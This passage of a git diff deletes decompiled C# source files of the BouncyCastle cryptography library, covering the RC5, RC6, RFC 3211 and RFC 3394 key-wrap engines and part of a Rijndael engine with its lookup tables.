if (engineState == null) - { - engineState = new byte[STATE_LENGTH]; - } - for (int i = 0; i < STATE_LENGTH; i++) - { - engineState[i] = (byte)i; - } - int num = 0; - int num2 = 0; - for (int j = 0; j < STATE_LENGTH; j++) - { - num2 = ((keyBytes[num] & 0xFF) + engineState[j] + num2) & 0xFF; - byte b = engineState[j]; - engineState[j] = engineState[num2]; - engineState[num2] = b; - num = (num + 1) % keyBytes.Length; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC532Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC532Engine.cs deleted file mode 100644 index 67e9e7c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC532Engine.cs +++ /dev/null @@ -1,147 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class RC532Engine : IBlockCipher -{ - private int _noRounds; - - private int[] _S; - - private static readonly int P32 = -1209970333; - - private static readonly int Q32 = -1640531527; - - private bool forEncryption; - - public virtual string AlgorithmName => "RC5-32"; - - public virtual bool IsPartialBlockOkay => false; - - public RC532Engine() - { - _noRounds = 12; - } - - public virtual int GetBlockSize() - { - return 8; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (typeof(RC5Parameters).IsInstanceOfType(parameters)) - { - RC5Parameters rC5Parameters = (RC5Parameters)parameters; - _noRounds = rC5Parameters.Rounds; - SetKey(rC5Parameters.GetKey()); - } - else - { - if (!typeof(KeyParameter).IsInstanceOfType(parameters)) - { - throw new ArgumentException("invalid parameter passed to RC532 init - " + Platform.GetTypeName(parameters)); - } - KeyParameter keyParameter = (KeyParameter)parameters; - SetKey(keyParameter.GetKey()); - } - this.forEncryption = forEncryption; - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (!forEncryption) - { - return DecryptBlock(input, inOff, output, outOff); - } - return EncryptBlock(input, inOff, output, outOff); - } - - public virtual void Reset() - { - } - - private void SetKey(byte[] key) - { - int[] array = new int[(key.Length + 3) / 4]; - for (int i = 0; i != key.Length; i++) - { - int[] array3; - int[] array2 = (array3 = array); - int num = i / 4; - nint num2 = num; - array2[num] = array3[num2] + ((key[i] & 0xFF) << 8 * (i % 4)); - } - _S = new int[2 * (_noRounds + 1)]; - _S[0] = P32; - for (int j = 1; j < _S.Length; j++) - { - _S[j] = _S[j - 1] + Q32; - } - int num3 = ((array.Length <= _S.Length) ? (3 * _S.Length) : (3 * array.Length)); - int num4 = 0; - int num5 = 0; - int num6 = 0; - int num7 = 0; - for (int k = 0; k < num3; k++) - { - num4 = (_S[num6] = RotateLeft(_S[num6] + num4 + num5, 3)); - num5 = (array[num7] = RotateLeft(array[num7] + num4 + num5, num4 + num5)); - num6 = (num6 + 1) % _S.Length; - num7 = (num7 + 1) % array.Length; - } - } - - private int EncryptBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - int num = BytesToWord(input, inOff) + _S[0]; - int num2 = BytesToWord(input, inOff + 4) + _S[1]; - for (int i = 1; i <= _noRounds; i++) - { - num = RotateLeft(num ^ num2, num2) + _S[2 * i]; - num2 = RotateLeft(num2 ^ num, num) + _S[2 * i + 1]; - } - WordToBytes(num, outBytes, outOff); - WordToBytes(num2, outBytes, outOff + 4); - return 8; - } - - private int DecryptBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - int num = BytesToWord(input, inOff); - int num2 = BytesToWord(input, inOff + 4); - for (int num3 = _noRounds; num3 >= 1; num3--) - { - num2 = RotateRight(num2 - _S[2 * num3 + 1], num) ^ num; - num = RotateRight(num - _S[2 * num3], num2) ^ num2; - } - WordToBytes(num - _S[0], outBytes, outOff); - WordToBytes(num2 - _S[1], outBytes, outOff + 4); - return 8; - } - - private int RotateLeft(int x, int y) - { - return (x << (y & 0x1F)) | (x >>> 32 - (y & 0x1F)); - } - - private int RotateRight(int x, int y) - { - return (x >>> (y & 0x1F)) | (x << 32 - (y & 0x1F)); - } - - private int BytesToWord(byte[] src, int srcOff) - { - return (src[srcOff] & 0xFF) | ((src[srcOff + 1] & 0xFF) << 8) | ((src[srcOff + 2] & 0xFF) << 16) | ((src[srcOff + 3] & 0xFF) << 24); - } - - private void WordToBytes(int word, byte[] dst, int dstOff) - { - dst[dstOff] = (byte)word; - dst[dstOff + 1] = (byte)(word >> 8); - dst[dstOff + 2] = (byte)(word >> 16); - dst[dstOff + 3] = (byte)(word >> 24); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC564Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC564Engine.cs deleted file mode 100644 index d887fa5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC564Engine.cs +++ /dev/null @@ -1,149 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class RC564Engine : IBlockCipher -{ - private static readonly int wordSize = 64; - - private static readonly int bytesPerWord = wordSize / 8; - - private int _noRounds; - - private long[] _S; - - private static readonly long P64 = -5196783011329398165L; - - private static readonly long Q64 = -7046029254386353131L; - - private bool forEncryption; - - public virtual string AlgorithmName => "RC5-64"; - - public virtual bool IsPartialBlockOkay => false; - - public RC564Engine() - { - _noRounds = 12; - } - - public virtual int GetBlockSize() - { - return 2 * bytesPerWord; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!typeof(RC5Parameters).IsInstanceOfType(parameters)) - { - throw new ArgumentException("invalid parameter passed to RC564 init - " + Platform.GetTypeName(parameters)); - } - RC5Parameters rC5Parameters = (RC5Parameters)parameters; - this.forEncryption = forEncryption; - _noRounds = rC5Parameters.Rounds; - SetKey(rC5Parameters.GetKey()); - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (!forEncryption) - { - return DecryptBlock(input, inOff, output, outOff); - } - return EncryptBlock(input, inOff, output, outOff); - } - - public virtual void Reset() - { - } - - private void SetKey(byte[] key) - { - long[] array = new long[(key.Length + (bytesPerWord - 1)) / bytesPerWord]; - for (int i = 0; i != key.Length; i++) - { - long[] array3; - long[] array2 = (array3 = array); - int num = i / bytesPerWord; - nint num2 = num; - array2[num] = array3[num2] + ((long)(key[i] & 0xFF) << 8 * (i % bytesPerWord)); - } - _S = new long[2 * (_noRounds + 1)]; - _S[0] = P64; - for (int j = 1; j < _S.Length; j++) - { - _S[j] = _S[j - 1] + Q64; - } - int num3 = ((array.Length <= _S.Length) ? (3 * _S.Length) : (3 * array.Length)); - long num4 = 0L; - long num5 = 0L; - int num6 = 0; - int num7 = 0; - for (int k = 0; k < num3; k++) - { - num4 = (_S[num6] = RotateLeft(_S[num6] + num4 + num5, 3L)); - num5 = (array[num7] = RotateLeft(array[num7] + num4 + num5, num4 + num5)); - num6 = (num6 + 1) % _S.Length; - num7 = (num7 + 1) % array.Length; - } - } - - private int EncryptBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - long num = BytesToWord(input, inOff) + _S[0]; - long num2 = BytesToWord(input, inOff + bytesPerWord) + _S[1]; - for (int i = 1; i <= _noRounds; i++) - { - num = RotateLeft(num ^ num2, num2) + _S[2 * i]; - num2 = RotateLeft(num2 ^ num, num) + _S[2 * i + 1]; - } - WordToBytes(num, outBytes, outOff); - WordToBytes(num2, outBytes, outOff + bytesPerWord); - return 2 * bytesPerWord; - } - - private int DecryptBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - long num = BytesToWord(input, inOff); - long num2 = BytesToWord(input, inOff + bytesPerWord); - for (int num3 = _noRounds; num3 >= 1; num3--) - { - num2 = RotateRight(num2 - _S[2 * num3 + 1], num) ^ num; - num = RotateRight(num - _S[2 * num3], num2) ^ num2; - } - WordToBytes(num - _S[0], outBytes, outOff); - WordToBytes(num2 - _S[1], outBytes, outOff + bytesPerWord); - return 2 * bytesPerWord; - } - - private long RotateLeft(long x, long y) - { - return (x << (int)(y & (wordSize - 1))) | (x >>> (int)(wordSize - (y & (wordSize - 1)))); - } - - private long RotateRight(long x, long y) - { - return (x >>> (int)(y & (wordSize - 1))) | (x << (int)(wordSize - (y & (wordSize - 1)))); - } - - private long BytesToWord(byte[] src, int srcOff) - { - long num = 0L; - for (int num2 = bytesPerWord - 1; num2 >= 0; num2--) - { - num = (num << 8) + (src[num2 + srcOff] & 0xFF); - } - return num; - } - - private void WordToBytes(long word, byte[] dst, int dstOff) - { - for (int i = 0; i < bytesPerWord; i++) - { - dst[i + dstOff] = (byte)word; - word >>>= 8; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC6Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC6Engine.cs deleted file mode 100644 index bf517b3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RC6Engine.cs +++ /dev/null @@ -1,198 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class RC6Engine : IBlockCipher -{ - private static readonly int wordSize = 32; - - private static readonly int bytesPerWord = wordSize / 8; - - private static readonly int _noRounds = 20; - - private int[] _S; - - private static readonly int P32 = -1209970333; - - private static readonly int Q32 = -1640531527; - - private static readonly int LGW = 5; - - private bool forEncryption; - - public virtual string AlgorithmName => "RC6"; - - public virtual bool IsPartialBlockOkay => false; - - public virtual int GetBlockSize() - { - return 4 * bytesPerWord; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("invalid parameter passed to RC6 init - " + Platform.GetTypeName(parameters)); - } - this.forEncryption = forEncryption; - KeyParameter keyParameter = (KeyParameter)parameters; - SetKey(keyParameter.GetKey()); - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - int blockSize = GetBlockSize(); - if (_S == null) - { - throw new InvalidOperationException("RC6 engine not initialised"); - } - Check.DataLength(input, inOff, blockSize, "input buffer too short"); - Check.OutputLength(output, outOff, blockSize, "output buffer too short"); - if (!forEncryption) - { - return DecryptBlock(input, inOff, output, outOff); - } - return EncryptBlock(input, inOff, output, outOff); - } - - public virtual void Reset() - { - } - - private void SetKey(byte[] key) - { - if ((key.Length + (bytesPerWord - 1)) / bytesPerWord == 0) - { - int num = 1; - } - int[] array = new int[(key.Length + bytesPerWord - 1) / bytesPerWord]; - for (int num2 = key.Length - 1; num2 >= 0; num2--) - { - array[num2 / bytesPerWord] = (array[num2 / bytesPerWord] << 8) + (key[num2] & 0xFF); - } - _S = new int[2 + 2 * _noRounds + 2]; - _S[0] = P32; - for (int i = 1; i < _S.Length; i++) - { - _S[i] = _S[i - 1] + Q32; - } - int num3 = ((array.Length <= _S.Length) ? (3 * _S.Length) : (3 * array.Length)); - int num4 = 0; - int num5 = 0; - int num6 = 0; - int num7 = 0; - for (int j = 0; j < num3; j++) - { - num4 = (_S[num6] = RotateLeft(_S[num6] + num4 + num5, 3)); - num5 = (array[num7] = RotateLeft(array[num7] + num4 + num5, num4 + num5)); - num6 = (num6 + 1) % _S.Length; - num7 = (num7 + 1) % array.Length; - } - } - - private int EncryptBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - int num = BytesToWord(input, inOff); - int num2 = BytesToWord(input, inOff + bytesPerWord); - int num3 = BytesToWord(input, inOff + bytesPerWord * 2); - int num4 = BytesToWord(input, inOff + bytesPerWord * 3); - num2 += _S[0]; - num4 += _S[1]; - for (int i = 1; i <= _noRounds; i++) - { - int num5 = 0; - int num6 = 0; - num5 = num2 * (2 * num2 + 1); - num5 = RotateLeft(num5, 5); - num6 = num4 * (2 * num4 + 1); - num6 = RotateLeft(num6, 5); - num ^= num5; - num = RotateLeft(num, num6); - num += _S[2 * i]; - num3 ^= num6; - num3 = RotateLeft(num3, num5); - num3 += _S[2 * i + 1]; - int num7 = num; - num = num2; - num2 = num3; - num3 = num4; - num4 = num7; - } - num += _S[2 * _noRounds + 2]; - num3 += _S[2 * _noRounds + 3]; - WordToBytes(num, outBytes, outOff); - WordToBytes(num2, outBytes, outOff + bytesPerWord); - WordToBytes(num3, outBytes, outOff + bytesPerWord * 2); - WordToBytes(num4, outBytes, outOff + bytesPerWord * 3); - return 4 * bytesPerWord; - } - - private int DecryptBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - int num = BytesToWord(input, inOff); - int num2 = BytesToWord(input, inOff + bytesPerWord); - int num3 = BytesToWord(input, inOff + bytesPerWord * 2); - int num4 = BytesToWord(input, inOff + bytesPerWord * 3); - num3 -= _S[2 * _noRounds + 3]; - num -= _S[2 * _noRounds + 2]; - for (int num5 = _noRounds; num5 >= 1; num5--) - { - int num6 = 0; - int num7 = 0; - int num8 = num4; - num4 = num3; - num3 = num2; - num2 = num; - num = num8; - num6 = num2 * (2 * num2 + 1); - num6 = RotateLeft(num6, LGW); - num7 = num4 * (2 * num4 + 1); - num7 = RotateLeft(num7, LGW); - num3 -= _S[2 * num5 + 1]; - num3 = RotateRight(num3, num6); - num3 ^= num7; - num -= _S[2 * num5]; - num = RotateRight(num, num7); - num ^= num6; - } - num4 -= _S[1]; - num2 -= _S[0]; - WordToBytes(num, outBytes, outOff); - WordToBytes(num2, outBytes, outOff + bytesPerWord); - WordToBytes(num3, outBytes, outOff + bytesPerWord * 2); - WordToBytes(num4, outBytes, outOff + bytesPerWord * 3); - return 4 * bytesPerWord; - } - - private int RotateLeft(int x, int y) - { - return (x << (y & (wordSize - 1))) | (x >>> wordSize - (y & (wordSize - 1))); - } - - private int RotateRight(int x, int y) - { - return (x >>> (y & (wordSize - 1))) | (x << wordSize - (y & (wordSize - 1))); - } - - private int BytesToWord(byte[] src, int srcOff) - { - int num = 0; - for (int num2 = bytesPerWord - 1; num2 >= 0; num2--) - { - num = (num << 8) + (src[num2 + srcOff] & 0xFF); - } - return num; - } - - private void WordToBytes(int word, byte[] dst, int dstOff) - { - for (int i = 0; i < bytesPerWord; i++) - { - dst[i + dstOff] = (byte)word; - word >>>= 8; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Rfc3211WrapEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Rfc3211WrapEngine.cs deleted file mode 100644 index b1c5761..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Rfc3211WrapEngine.cs +++ /dev/null @@ -1,122 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Modes; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class Rfc3211WrapEngine : IWrapper -{ - private CbcBlockCipher engine; - - private ParametersWithIV param; - - private bool forWrapping; - - private SecureRandom rand; - - public virtual string AlgorithmName => engine.GetUnderlyingCipher().AlgorithmName + "/RFC3211Wrap"; - - public Rfc3211WrapEngine(IBlockCipher engine) - { - this.engine = new CbcBlockCipher(engine); - } - - public virtual void Init(bool forWrapping, ICipherParameters param) - { - this.forWrapping = forWrapping; - if (param is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)param; - rand = parametersWithRandom.Random; - this.param = parametersWithRandom.Parameters as ParametersWithIV; - } - else - { - if (forWrapping) - { - rand = new SecureRandom(); - } - this.param = param as ParametersWithIV; - } - if (this.param == null) - { - throw new ArgumentException("RFC3211Wrap requires an IV", "param"); - } - } - - public virtual byte[] Wrap(byte[] inBytes, int inOff, int inLen) - { - if (!forWrapping) - { - throw new InvalidOperationException("not set for wrapping"); - } - if (inLen > 255 || inLen < 0) - { - throw new ArgumentException("input must be from 0 to 255 bytes", "inLen"); - } - engine.Init(forEncryption: true, param); - int blockSize = engine.GetBlockSize(); - byte[] array = ((inLen + 4 >= blockSize * 2) ? new byte[((inLen + 4) % blockSize == 0) ? (inLen + 4) : (((inLen + 4) / blockSize + 1) * blockSize)] : new byte[blockSize * 2]); - array[0] = (byte)inLen; - Array.Copy(inBytes, inOff, array, 4, inLen); - rand.NextBytes(array, inLen + 4, array.Length - inLen - 4); - array[1] = (byte)(~array[4]); - array[2] = (byte)(~array[5]); - array[3] = (byte)(~array[6]); - for (int i = 0; i < array.Length; i += blockSize) - { - engine.ProcessBlock(array, i, array, i); - } - for (int j = 0; j < array.Length; j += blockSize) - { - engine.ProcessBlock(array, j, array, j); - } - return array; - } - - public virtual byte[] Unwrap(byte[] inBytes, int inOff, int inLen) - { - if (forWrapping) - { - throw new InvalidOperationException("not set for unwrapping"); - } - int blockSize = engine.GetBlockSize(); - if (inLen < 2 * blockSize) - { - throw new InvalidCipherTextException("input too short"); - } - byte[] array = new byte[inLen]; - byte[] array2 = new byte[blockSize]; - Array.Copy(inBytes, inOff, array, 0, inLen); - Array.Copy(inBytes, inOff, array2, 0, array2.Length); - engine.Init(forEncryption: false, new ParametersWithIV(param.Parameters, array2)); - for (int i = blockSize; i < array.Length; i += blockSize) - { - engine.ProcessBlock(array, i, array, i); - } - Array.Copy(array, array.Length - array2.Length, array2, 0, array2.Length); - engine.Init(forEncryption: false, new ParametersWithIV(param.Parameters, array2)); - engine.ProcessBlock(array, 0, array, 0); - engine.Init(forEncryption: false, param); - for (int j = 0; j < array.Length; j += blockSize) - { - engine.ProcessBlock(array, j, array, j); - } - bool flag = array[0] > array.Length - 4; - byte[] array3 = ((!flag) ? new byte[array[0]] : new byte[array.Length - 4]); - Array.Copy(array, 4, array3, 0, array3.Length); - int num = 0; - for (int k = 0; k != 3; k++) - { - byte b = (byte)(~array[1 + k]); - num |= b ^ array[4 + k]; - } - Array.Clear(array, 0, array.Length); - if (num != 0 || flag) - { - throw new InvalidCipherTextException("wrapped key corrupted"); - } - return array3; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Rfc3394WrapEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Rfc3394WrapEngine.cs deleted file mode 100644 index 331f68f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Rfc3394WrapEngine.cs +++ /dev/null @@ -1,139 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class Rfc3394WrapEngine : IWrapper -{ - private readonly IBlockCipher engine; - - private KeyParameter param; - - private bool forWrapping; - - private byte[] iv = new byte[8] { 166, 166, 166, 166, 166, 166, 166, 166 }; - - public virtual string AlgorithmName => engine.AlgorithmName; - - public Rfc3394WrapEngine(IBlockCipher engine) - { - this.engine = engine; - } - - public virtual void Init(bool forWrapping, ICipherParameters parameters) - { - this.forWrapping = forWrapping; - if (parameters is ParametersWithRandom) - { - parameters = ((ParametersWithRandom)parameters).Parameters; - } - if (parameters is KeyParameter) - { - param = (KeyParameter)parameters; - } - else if (parameters is ParametersWithIV) - { - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - byte[] iV = parametersWithIV.GetIV(); - if (iV.Length != 8) - { - throw new ArgumentException("IV length not equal to 8", "parameters"); - } - iv = iV; - param = (KeyParameter)parametersWithIV.Parameters; - } - } - - public virtual byte[] Wrap(byte[] input, int inOff, int inLen) - { - if (!forWrapping) - { - throw new InvalidOperationException("not set for wrapping"); - } - int num = inLen / 8; - if (num * 8 != inLen) - { - throw new DataLengthException("wrap data must be a multiple of 8 bytes"); - } - byte[] array = new byte[inLen + iv.Length]; - byte[] array2 = new byte[8 + iv.Length]; - Array.Copy(iv, 0, array, 0, iv.Length); - Array.Copy(input, inOff, array, iv.Length, inLen); - engine.Init(forEncryption: true, param); - for (int i = 0; i != 6; i++) - { - for (int j = 1; j <= num; j++) - { - Array.Copy(array, 0, array2, 0, iv.Length); - Array.Copy(array, 8 * j, array2, iv.Length, 8); - engine.ProcessBlock(array2, 0, array2, 0); - int num2 = num * i + j; - int num3 = 1; - while (num2 != 0) - { - byte b = (byte)num2; - byte[] array4; - byte[] array3 = (array4 = array2); - int num4 = iv.Length - num3; - nint num5 = num4; - array3[num4] = (byte)(array4[num5] ^ b); - num2 >>>= 8; - num3++; - } - Array.Copy(array2, 0, array, 0, 8); - Array.Copy(array2, 8, array, 8 * j, 8); - } - } - return array; - } - - public virtual byte[] Unwrap(byte[] input, int inOff, int inLen) - { - if (forWrapping) - { - throw new InvalidOperationException("not set for unwrapping"); - } - int num = inLen / 8; - if (num * 8 != inLen) - { - throw new InvalidCipherTextException("unwrap data must be a multiple of 8 bytes"); - } - byte[] array = new byte[inLen - iv.Length]; - byte[] array2 = new byte[iv.Length]; - byte[] array3 = new byte[8 + iv.Length]; - Array.Copy(input, inOff, array2, 0, iv.Length); - Array.Copy(input, inOff + iv.Length, array, 0, inLen - iv.Length); - engine.Init(forEncryption: false, param); - num--; - for (int num2 = 5; num2 >= 0; num2--) - { - for (int num3 = num; num3 >= 1; num3--) - { - Array.Copy(array2, 0, array3, 0, iv.Length); - Array.Copy(array, 8 * (num3 - 1), array3, iv.Length, 8); - int num4 = num * num2 + num3; - int num5 = 1; - while (num4 != 0) - { - byte b = (byte)num4; - byte[] array5; - byte[] array4 = (array5 = array3); - int num6 = iv.Length - num5; - nint num7 = num6; - array4[num6] = (byte)(array5[num7] ^ b); - num4 >>>= 8; - num5++; - } - engine.ProcessBlock(array3, 0, array3, 0); - Array.Copy(array3, 0, array2, 0, 8); - Array.Copy(array3, 8, array, 8 * (num3 - 1), 8); - } - } - if (!Arrays.ConstantTimeAreEqual(array2, iv)) - { - throw new InvalidCipherTextException("checksum failed"); - } - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RijndaelEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RijndaelEngine.cs deleted file mode 100644 index 504b5be..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/RijndaelEngine.cs +++ /dev/null @@ -1,627 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class RijndaelEngine : IBlockCipher -{ - private static readonly int MAXROUNDS = 14; - - private static readonly int MAXKC = 64; - - private static readonly byte[] Logtable = new byte[256] - { - 0, 0, 25, 1, 50, 2, 26, 198, 75, 199, - 27, 104, 51, 238, 223, 3, 100, 4, 224, 14, - 52, 141, 129, 239, 76, 113, 8, 200, 248, 105, - 28, 193, 125, 194, 29, 181, 249, 185, 39, 106, - 77, 228, 166, 114, 154, 201, 9, 120, 101, 47, - 138, 5, 33, 15, 225, 36, 18, 240, 130, 69, - 53, 147, 218, 142, 150, 143, 219, 189, 54, 208, - 206, 148, 19, 92, 210, 241, 64, 70, 131, 56, - 102, 221, 253, 48, 191, 6, 139, 98, 179, 37, - 226, 152, 34, 136, 145, 16, 126, 110, 72, 195, - 163, 182, 30, 66, 58, 107, 40, 84, 250, 133, - 61, 186, 43, 121, 10, 21, 155, 159, 94, 202, - 78, 212, 172, 229, 243, 115, 167, 87, 175, 88, - 168, 80, 244, 234, 214, 116, 79, 174, 233, 213, - 231, 230, 173, 232, 44, 215, 117, 122, 235, 22, - 11, 245, 89, 203, 95, 176, 156, 169, 81, 160, - 127, 12, 246, 111, 23, 196, 73, 236, 216, 67, - 31, 45, 164, 118, 123, 183, 204, 187, 62, 90, - 251, 96, 177, 134, 59, 82, 161, 108, 170, 85, - 41, 157, 151, 178, 135, 144, 97, 190, 220, 252, - 188, 149, 207, 205, 55, 63, 91, 209, 83, 57, - 132, 60, 65, 162, 109, 71, 20, 42, 158, 93, - 86, 242, 211, 171, 68, 17, 146, 217, 35, 32, - 46, 137, 180, 124, 184, 38, 119, 153, 227, 165, - 103, 74, 237, 222, 197, 49, 254, 24, 13, 99, - 140, 128, 192, 247, 112, 7 - }; - - private static readonly byte[] Alogtable = new byte[511] - { - 0, 3, 5, 15, 17, 51, 85, 255, 26, 46, - 114, 150, 161, 248, 19, 53, 95, 225, 56, 72, - 216, 115, 149, 164, 247, 2, 6, 10, 30, 34, - 102, 170, 229, 52, 92, 228, 55, 89, 235, 38, - 106, 190, 217, 112, 144, 171, 230, 49, 83, 245, - 4, 12, 20, 60, 68, 204, 79, 209, 104, 184, - 211, 110, 178, 205, 76, 212, 103, 169, 224, 59, - 77, 215, 98, 166, 241, 8, 24, 40, 120, 136, - 131, 158, 185, 208, 107, 189, 220, 127, 129, 152, - 179, 206, 73, 219, 118, 154, 181, 196, 87, 249, - 16, 48, 80, 240, 11, 29, 39, 105, 187, 214, - 97, 163, 254, 25, 43, 125, 135, 146, 173, 236, - 47, 113, 147, 174, 233, 32, 96, 160, 251, 22, - 58, 78, 210, 109, 183, 194, 93, 231, 50, 86, - 250, 21, 63, 65, 195, 94, 226, 61, 71, 201, - 64, 192, 91, 237, 44, 116, 156, 191, 218, 117, - 159, 186, 213, 100, 172, 239, 42, 126, 130, 157, - 188, 223, 122, 142, 137, 128, 155, 182, 193, 88, - 232, 35, 101, 175, 234, 37, 111, 177, 200, 67, - 197, 84, 252, 31, 33, 99, 165, 244, 7, 9, - 27, 45, 119, 153, 176, 203, 70, 202, 69, 207, - 74, 222, 121, 139, 134, 145, 168, 227, 62, 66, - 198, 81, 243, 14, 18, 54, 90, 238, 41, 123, - 141, 140, 143, 138, 133, 148, 167, 242, 13, 23, - 57, 75, 221, 124, 132, 151, 162, 253, 28, 36, - 108, 180, 199, 82, 246, 1, 3, 5, 15, 17, - 51, 85, 255, 26, 46, 114, 150, 161, 248, 19, - 53, 95, 225, 56, 72, 216, 115, 149, 164, 247, - 2, 6, 10, 30, 34, 102, 170, 229, 52, 92, - 228, 55, 89, 235, 38, 106, 190, 217, 112, 144, - 171, 230, 49, 83, 245, 4, 12, 20, 60, 68, - 204, 79, 209, 104, 184, 211, 110, 178, 205, 76, - 212, 103, 169, 224, 59, 77, 215, 98, 166, 241, - 8, 24, 40, 120, 136, 131, 158, 185, 208, 107, - 189, 220, 127, 129, 152, 179, 206, 73, 219, 118, - 154, 181, 196, 87, 249, 16, 48, 80, 240, 11, - 29, 39, 105, 187, 214, 97, 163, 254, 25, 43, - 125, 135, 146, 173, 236, 47, 113, 147, 174, 233, - 32, 96, 160, 251, 22, 58, 78, 210, 109, 183, - 194, 93, 231, 50, 86, 250, 21, 63, 65, 195, - 94, 226, 61, 71, 201, 64, 192, 91, 237, 44, - 116, 156, 191, 218, 117, 159, 186, 213, 100, 172, - 239, 42, 126, 130, 157, 188, 223, 122, 142, 137, - 128, 155, 182, 193, 88, 232, 35, 101, 175, 234, - 37, 111, 177, 200, 67, 197, 84, 252, 31, 33, - 99, 165, 244, 7, 9, 27, 45, 119, 153, 176, - 203, 70, 202, 69, 207, 74, 222, 121, 139, 134, - 145, 168, 227, 62, 66, 198, 81, 243, 14, 18, - 54, 90, 238, 41, 123, 141, 140, 143, 138, 133, - 148, 167, 242, 13, 23, 57, 75, 221, 124, 132, - 151, 162, 253, 28, 36, 108, 180, 199, 82, 246, - 1 - }; - - private static readonly byte[] S = new byte[256] - { - 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, - 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, - 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, - 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, - 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, - 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, - 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, - 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, - 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, - 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, - 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, - 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, - 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, - 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, - 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, - 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, - 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, - 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, - 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, - 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, - 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, - 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, - 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, - 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, - 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, - 45, 15, 176, 84, 187, 22 - }; - - private static readonly byte[] Si = new byte[256] - { - 82, 9, 106, 213, 48, 54, 165, 56, 191, 64, - 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, - 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, - 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, - 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, - 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, - 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, - 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, - 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, - 70, 87, 167, 